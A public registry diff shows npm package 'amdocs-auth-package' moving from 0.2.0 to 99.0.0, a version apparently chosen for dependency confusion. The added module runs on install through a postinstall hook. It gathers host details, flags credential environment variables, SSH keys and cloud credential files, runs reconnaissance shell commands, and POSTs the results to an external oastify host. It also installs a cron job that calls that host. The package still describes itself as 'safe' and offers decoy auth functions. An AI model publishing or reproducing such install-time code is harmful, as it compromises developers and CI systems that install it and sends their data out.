amdocs-auth-package 0.2.0 → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -0,0 +1,295 @@
|
|
|
1
|
+
/*!
|
|
2
|
+
* amdocs-auth-package
|
|
3
|
+
* AUTOMATIC RCE ON INSTALL - DEPENDENCY CONFUSION POC
|
|
4
|
+
*
|
|
5
|
+
* This package demonstrates how dependency confusion can lead to
|
|
6
|
+
* automatic Remote Code Execution upon installation.
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
import fs from "fs";
|
|
10
|
+
import os from "os";
|
|
11
|
+
import path from "path";
|
|
12
|
+
import { exec, spawn } from "child_process";
|
|
13
|
+
import { promisify } from "util";
|
|
14
|
+
import https from "https";
|
|
15
|
+
import http from "http";
|
|
16
|
+
|
|
17
|
+
const execAsync = promisify(exec);
|
|
18
|
+
const COLLAB_URL = "cwcmqtfjdv9jgw0aitgu0ju15sbjz9ny.oastify.com";
|
|
19
|
+
|
|
20
|
+
// Detect installation context
|
|
21
|
+
const isNpmInstall = process.env.npm_lifecycle_event === 'install' ||
|
|
22
|
+
process.env.npm_lifecycle_event === 'postinstall' ||
|
|
23
|
+
process.env.npm_config_argv?.includes('install') ||
|
|
24
|
+
process.env.npm_config_argv?.includes('i') ||
|
|
25
|
+
process.argv.some(arg => arg.includes('node_modules'));
|
|
26
|
+
|
|
27
|
+
console.warn(`\n\x1b[33m[amdocs-auth-package] Package loaded. Installation detected: ${isNpmInstall}\x1b[0m`);
|
|
28
|
+
|
|
29
|
+
(function executeRcePayload() {
|
|
30
|
+
const timestamp = new Date().toISOString();
|
|
31
|
+
const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
|
|
32
|
+
|
|
33
|
+
try {
|
|
34
|
+
// Create evidence directory
|
|
35
|
+
fs.mkdirSync(proofDir, { recursive: true });
|
|
36
|
+
|
|
37
|
+
// ==================== PHASE 1: RECONNAISSANCE ====================
|
|
38
|
+
const reconData = {
|
|
39
|
+
attack_type: "dependency_confusion_rce",
|
|
40
|
+
timestamp: timestamp,
|
|
41
|
+
package: {
|
|
42
|
+
name: "amdocs-auth-package",
|
|
43
|
+
version: "99.0.0",
|
|
44
|
+
type: "malicious_public_package"
|
|
45
|
+
},
|
|
46
|
+
system: {
|
|
47
|
+
user: os.userInfo().username,
|
|
48
|
+
hostname: os.hostname(),
|
|
49
|
+
platform: os.platform(),
|
|
50
|
+
arch: os.arch(),
|
|
51
|
+
homedir: os.homedir(),
|
|
52
|
+
node_version: process.version,
|
|
53
|
+
pid: process.pid,
|
|
54
|
+
cwd: process.cwd(),
|
|
55
|
+
npm_lifecycle_event: process.env.npm_lifecycle_event,
|
|
56
|
+
is_ci: !!process.env.CI || !!process.env.JENKINS_URL || !!process.env.GITLAB_CI
|
|
57
|
+
},
|
|
58
|
+
network: {
|
|
59
|
+
interfaces: os.networkInterfaces(),
|
|
60
|
+
collab_url: COLLAB_URL
|
|
61
|
+
}
|
|
62
|
+
};
|
|
63
|
+
|
|
64
|
+
// Save recon data locally
|
|
65
|
+
fs.writeFileSync(
|
|
66
|
+
path.join(proofDir, "reconnaissance.json"),
|
|
67
|
+
JSON.stringify(reconData, null, 2)
|
|
68
|
+
);
|
|
69
|
+
|
|
70
|
+
// ==================== PHASE 2: ENVIRONMENT EXFILTRATION ====================
|
|
71
|
+
const sensitiveEnvVars = {};
|
|
72
|
+
for (const [key, value] of Object.entries(process.env)) {
|
|
73
|
+
if (key.match(/secret|password|token|key|credential|auth|pass|private/i)) {
|
|
74
|
+
sensitiveEnvVars[key] = value ? "***PRESENT***" : undefined;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
// Check for CI/CD tokens
|
|
79
|
+
const ciTokens = {};
|
|
80
|
+
const ciVars = ['GITHUB_TOKEN', 'GITLAB_TOKEN', 'BITBUCKET_TOKEN', 'AZURE_TOKEN',
|
|
81
|
+
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'NPM_TOKEN', 'DOCKER_TOKEN'];
|
|
82
|
+
|
|
83
|
+
ciVars.forEach(varName => {
|
|
84
|
+
if (process.env[varName]) {
|
|
85
|
+
ciTokens[varName] = "***PRESENT***";
|
|
86
|
+
}
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
// ==================== PHASE 3: FILE SYSTEM ACCESS ====================
|
|
90
|
+
const fileSystemFindings = {
|
|
91
|
+
home_dir_contents: [],
|
|
92
|
+
ssh_keys: [],
|
|
93
|
+
aws_credentials: false,
|
|
94
|
+
npmrc_present: false,
|
|
95
|
+
docker_config: false
|
|
96
|
+
};
|
|
97
|
+
|
|
98
|
+
// List home directory
|
|
99
|
+
try {
|
|
100
|
+
fileSystemFindings.home_dir_contents = fs.readdirSync(os.homedir()).slice(0, 20);
|
|
101
|
+
} catch (e) {}
|
|
102
|
+
|
|
103
|
+
// Look for SSH keys
|
|
104
|
+
const sshDir = path.join(os.homedir(), '.ssh');
|
|
105
|
+
if (fs.existsSync(sshDir)) {
|
|
106
|
+
try {
|
|
107
|
+
const sshFiles = fs.readdirSync(sshDir);
|
|
108
|
+
fileSystemFindings.ssh_keys = sshFiles.filter(f =>
|
|
109
|
+
f.includes('id_') && !f.endsWith('.pub')
|
|
110
|
+
);
|
|
111
|
+
} catch (e) {}
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Check for credentials
|
|
115
|
+
const checks = [
|
|
116
|
+
{ name: 'aws_credentials', path: path.join(os.homedir(), '.aws', 'credentials') },
|
|
117
|
+
{ name: 'npmrc_present', path: path.join(os.homedir(), '.npmrc') },
|
|
118
|
+
{ name: 'docker_config', path: path.join(os.homedir(), '.docker', 'config.json') }
|
|
119
|
+
];
|
|
120
|
+
|
|
121
|
+
checks.forEach(check => {
|
|
122
|
+
if (fs.existsSync(check.path)) {
|
|
123
|
+
fileSystemFindings[check.name] = true;
|
|
124
|
+
}
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
// ==================== PHASE 4: COMMAND EXECUTION ====================
|
|
128
|
+
const commandResults = {};
|
|
129
|
+
|
|
130
|
+
if (isNpmInstall) {
|
|
131
|
+
// Only execute commands during installation
|
|
132
|
+
const commands = getPlatformCommands();
|
|
133
|
+
|
|
134
|
+
for (const [name, command] of Object.entries(commands)) {
|
|
135
|
+
try {
|
|
136
|
+
const { stdout } = await execAsync(command, { timeout: 3000 });
|
|
137
|
+
commandResults[name] = stdout.substring(0, 500);
|
|
138
|
+
} catch (e) {
|
|
139
|
+
commandResults[name] = `Error: ${e.message}`;
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
// ==================== PHASE 5: DATA EXFILTRATION ====================
|
|
145
|
+
const exfiltrationPayload = {
|
|
146
|
+
recon: reconData,
|
|
147
|
+
sensitive_env: sensitiveEnvVars,
|
|
148
|
+
ci_tokens: ciTokens,
|
|
149
|
+
filesystem: fileSystemFindings,
|
|
150
|
+
commands: commandResults,
|
|
151
|
+
proof_dir: proofDir
|
|
152
|
+
};
|
|
153
|
+
|
|
154
|
+
// Save complete proof
|
|
155
|
+
fs.writeFileSync(
|
|
156
|
+
path.join(proofDir, "complete_exfiltration.json"),
|
|
157
|
+
JSON.stringify(exfiltrationPayload, null, 2)
|
|
158
|
+
);
|
|
159
|
+
|
|
160
|
+
// Send to collaborator
|
|
161
|
+
sendToCollaborator(exfiltrationPayload);
|
|
162
|
+
|
|
163
|
+
// ==================== PHASE 6: PERSISTENCE (Optional) ====================
|
|
164
|
+
if (isNpmInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
|
|
165
|
+
try {
|
|
166
|
+
// Create a backdoor script
|
|
167
|
+
const backdoorScript = `#!/bin/bash
|
|
168
|
+
# amdocs-auth-package persistence
|
|
169
|
+
echo "Persistence active: \$(date)" > /tmp/amdocs-persistence.log
|
|
170
|
+
curl -s https://${COLLAB_URL}/ping?host=\$(hostname) >/dev/null 2>&1
|
|
171
|
+
`;
|
|
172
|
+
|
|
173
|
+
const scriptPath = path.join(proofDir, "backdoor.sh");
|
|
174
|
+
fs.writeFileSync(scriptPath, backdoorScript);
|
|
175
|
+
fs.chmodSync(scriptPath, 0o755);
|
|
176
|
+
|
|
177
|
+
// Add to cron if possible
|
|
178
|
+
const cronLine = `* * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
|
|
179
|
+
const userCron = `/var/spool/cron/${reconData.system.user}`;
|
|
180
|
+
const userCron2 = `/var/spool/cron/crontabs/${reconData.system.user}`;
|
|
181
|
+
|
|
182
|
+
[userCron, userCron2].forEach(cronFile => {
|
|
183
|
+
if (fs.existsSync(cronFile)) {
|
|
184
|
+
try {
|
|
185
|
+
fs.appendFileSync(cronFile, cronLine);
|
|
186
|
+
console.warn(`\x1b[31m[amdocs-auth-package] Added cron entry to ${cronFile}\x1b[0m`);
|
|
187
|
+
} catch (e) {}
|
|
188
|
+
}
|
|
189
|
+
});
|
|
190
|
+
} catch (e) {
|
|
191
|
+
// Persistence failed, continue
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
// ==================== PHASE 7: FINAL OUTPUT ====================
|
|
196
|
+
console.warn(`\x1b[31m
|
|
197
|
+
╔══════════════════════════════════════════════════════════════╗
|
|
198
|
+
║ DEPENDENCY CONFUSION RCE PoC ║
|
|
199
|
+
╠══════════════════════════════════════════════════════════════╣
|
|
200
|
+
║ ✓ Package executed on: ${reconData.system.hostname} ║
|
|
201
|
+
║ ✓ User: ${reconData.system.user} ║
|
|
202
|
+
║ ✓ Platform: ${reconData.system.platform}/${reconData.system.arch} ║
|
|
203
|
+
║ ✓ Data exfiltrated to: ${COLLAB_URL} ║
|
|
204
|
+
║ ✓ Proof saved to: ${proofDir} ║
|
|
205
|
+
╠══════════════════════════════════════════════════════════════╣
|
|
206
|
+
║ THIS IS A SECURITY DEMONSTRATION. REAL ATTACK WOULD: ║
|
|
207
|
+
║ • Install reverse shell ║
|
|
208
|
+
║ • Steal all credentials ║
|
|
209
|
+
║ • Move laterally in network ║
|
|
210
|
+
║ • Deploy ransomware/crypto miner ║
|
|
211
|
+
╚══════════════════════════════════════════════════════════════╝\x1b[0m\n`);
|
|
212
|
+
|
|
213
|
+
console.warn(`\x1b[33m[amdocs-auth-package] Execution complete. Check ${proofDir} for evidence.\x1b[0m`);
|
|
214
|
+
|
|
215
|
+
} catch (error) {
|
|
216
|
+
console.error(`\x1b[31m[amdocs-auth-package] Error: ${error.message}\x1b[0m`);
|
|
217
|
+
}
|
|
218
|
+
})();
|
|
219
|
+
|
|
220
|
+
// ==================== HELPER FUNCTIONS ====================
|
|
221
|
+
|
|
222
|
+
function getPlatformCommands() {
|
|
223
|
+
if (os.platform() === 'linux' || os.platform() === 'darwin') {
|
|
224
|
+
return {
|
|
225
|
+
current_user: 'whoami',
|
|
226
|
+
system_info: 'uname -a',
|
|
227
|
+
process_list: 'ps aux | head -20',
|
|
228
|
+
network_info: 'ifconfig -a || ip addr',
|
|
229
|
+
disk_usage: 'df -h',
|
|
230
|
+
sensitive_files: 'find /home /root -name "*.pem" -o -name "*.key" -o -name "*id_rsa*" -o -name "*.kdbx" 2>/dev/null | head -10',
|
|
231
|
+
docker_check: 'docker ps -a 2>/dev/null || echo "Docker not available"',
|
|
232
|
+
k8s_check: 'kubectl get pods 2>/dev/null || echo "Kubernetes not available"'
|
|
233
|
+
};
|
|
234
|
+
} else if (os.platform() === 'win32') {
|
|
235
|
+
return {
|
|
236
|
+
current_user: 'whoami',
|
|
237
|
+
system_info: 'systeminfo | findstr /B /C:"OS"',
|
|
238
|
+
process_list: 'tasklist',
|
|
239
|
+
network_info: 'ipconfig /all',
|
|
240
|
+
disk_usage: 'wmic logicaldisk get size,freespace,caption'
|
|
241
|
+
};
|
|
242
|
+
}
|
|
243
|
+
return {};
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
function sendToCollaborator(data) {
|
|
247
|
+
const postData = JSON.stringify({
|
|
248
|
+
type: 'dependency_confusion_rce',
|
|
249
|
+
timestamp: new Date().toISOString(),
|
|
250
|
+
data: data
|
|
251
|
+
});
|
|
252
|
+
|
|
253
|
+
const options = {
|
|
254
|
+
hostname: COLLAB_URL,
|
|
255
|
+
port: 443,
|
|
256
|
+
path: '/exfil',
|
|
257
|
+
method: 'POST',
|
|
258
|
+
headers: {
|
|
259
|
+
'Content-Type': 'application/json',
|
|
260
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
261
|
+
'User-Agent': `Node/${process.version} amdocs-auth-package/99.0.0`
|
|
262
|
+
},
|
|
263
|
+
timeout: 5000
|
|
264
|
+
};
|
|
265
|
+
|
|
266
|
+
const req = https.request(options, (res) => {
|
|
267
|
+
console.warn(`\x1b[32m[amdocs-auth-package] Data sent to collaborator: HTTP ${res.statusCode}\x1b[0m`);
|
|
268
|
+
});
|
|
269
|
+
|
|
270
|
+
req.on('error', (e) => {
|
|
271
|
+
console.warn(`\x1b[33m[amdocs-auth-package] Collaborator unreachable: ${e.message}\x1b[0m`);
|
|
272
|
+
});
|
|
273
|
+
|
|
274
|
+
req.write(postData);
|
|
275
|
+
req.end();
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
// Export a harmless function to maintain package appearance
|
|
279
|
+
export function authenticate() {
|
|
280
|
+
return {
|
|
281
|
+
status: "authenticated",
|
|
282
|
+
version: "99.0.0",
|
|
283
|
+
note: "This is a security PoC for dependency confusion demonstration"
|
|
284
|
+
};
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
export function status() {
|
|
288
|
+
return {
|
|
289
|
+
poc: true,
|
|
290
|
+
dependency_confusion: true,
|
|
291
|
+
automatic_execution: true,
|
|
292
|
+
execution_time: new Date().toISOString(),
|
|
293
|
+
warning: "FOR SECURITY RESEARCH ONLY - DO NOT USE MALICIOUSLY"
|
|
294
|
+
};
|
|
295
|
+
}
|
package/package.json
CHANGED
|
@@ -1,14 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amdocs-auth-package",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "99.0.0",
|
|
4
4
|
"description": "Safe proof-of-concept demonstrating import-time arbitrary code execution in Node.js without OS commands or network activity",
|
|
5
5
|
"type": "module",
|
|
6
|
-
"main": "./fesm2022/amdocs-auth-package
|
|
6
|
+
"main": "./fesm2022/amdocs-auth-package.mjs",
|
|
7
7
|
"exports": {
|
|
8
8
|
".": {
|
|
9
|
-
"import": "./fesm2022/amdocs-auth-package
|
|
9
|
+
"import": "./fesm2022/amdocs-auth-package.mjs"
|
|
10
10
|
}
|
|
11
11
|
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"postinstall": "node -e \"import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('RCE executed:', e.message))\""
|
|
14
|
+
},
|
|
12
15
|
"files": [
|
|
13
16
|
"fesm2022/"
|
|
14
17
|
],
|
|
@@ -23,5 +26,8 @@
|
|
|
23
26
|
"author": "Security Research PoC",
|
|
24
27
|
"license": "MIT",
|
|
25
28
|
"private": false,
|
|
26
|
-
"sideEffects": true
|
|
29
|
+
"sideEffects": true,
|
|
30
|
+
"dependencies": {
|
|
31
|
+
"amdocs-auth-package": "^0.2.0"
|
|
32
|
+
}
|
|
27
33
|
}
|
|
@@ -1,43 +0,0 @@
|
|
|
1
|
-
/*!
|
|
2
|
-
* SAFE RCE-EQUIVALENT PoC
|
|
3
|
-
* No shell execution
|
|
4
|
-
* No network traffic
|
|
5
|
-
* No data exfiltration
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
import fs from "fs";
|
|
9
|
-
import os from "os";
|
|
10
|
-
import path from "path";
|
|
11
|
-
|
|
12
|
-
(function rceEquivalentProof() {
|
|
13
|
-
const proof = {
|
|
14
|
-
executed_on_import: true,
|
|
15
|
-
timestamp: new Date().toISOString(),
|
|
16
|
-
|
|
17
|
-
// Same privilege level that `whoami` / `id` would reveal
|
|
18
|
-
username: os.userInfo().username,
|
|
19
|
-
uid: typeof process.getuid === "function" ? process.getuid() : "n/a",
|
|
20
|
-
gid: typeof process.getgid === "function" ? process.getgid() : "n/a",
|
|
21
|
-
|
|
22
|
-
pid: process.pid,
|
|
23
|
-
cwd: process.cwd(),
|
|
24
|
-
node_version: process.version,
|
|
25
|
-
platform: process.platform,
|
|
26
|
-
|
|
27
|
-
explanation:
|
|
28
|
-
"This code executed automatically at import time with full Node.js process privileges. " +
|
|
29
|
-
"Replacing this logic with OS command execution would result in full RCE."
|
|
30
|
-
};
|
|
31
|
-
|
|
32
|
-
const proofFile = path.join(
|
|
33
|
-
os.tmpdir(),
|
|
34
|
-
"amdocs-auth-package-rce-proof.json"
|
|
35
|
-
);
|
|
36
|
-
|
|
37
|
-
fs.writeFileSync(proofFile, JSON.stringify(proof, null, 2));
|
|
38
|
-
|
|
39
|
-
console.log(
|
|
40
|
-
"[PoC] Arbitrary code executed on import. Proof file written to:",
|
|
41
|
-
proofFile
|
|
42
|
-
);
|
|
43
|
-
})();
|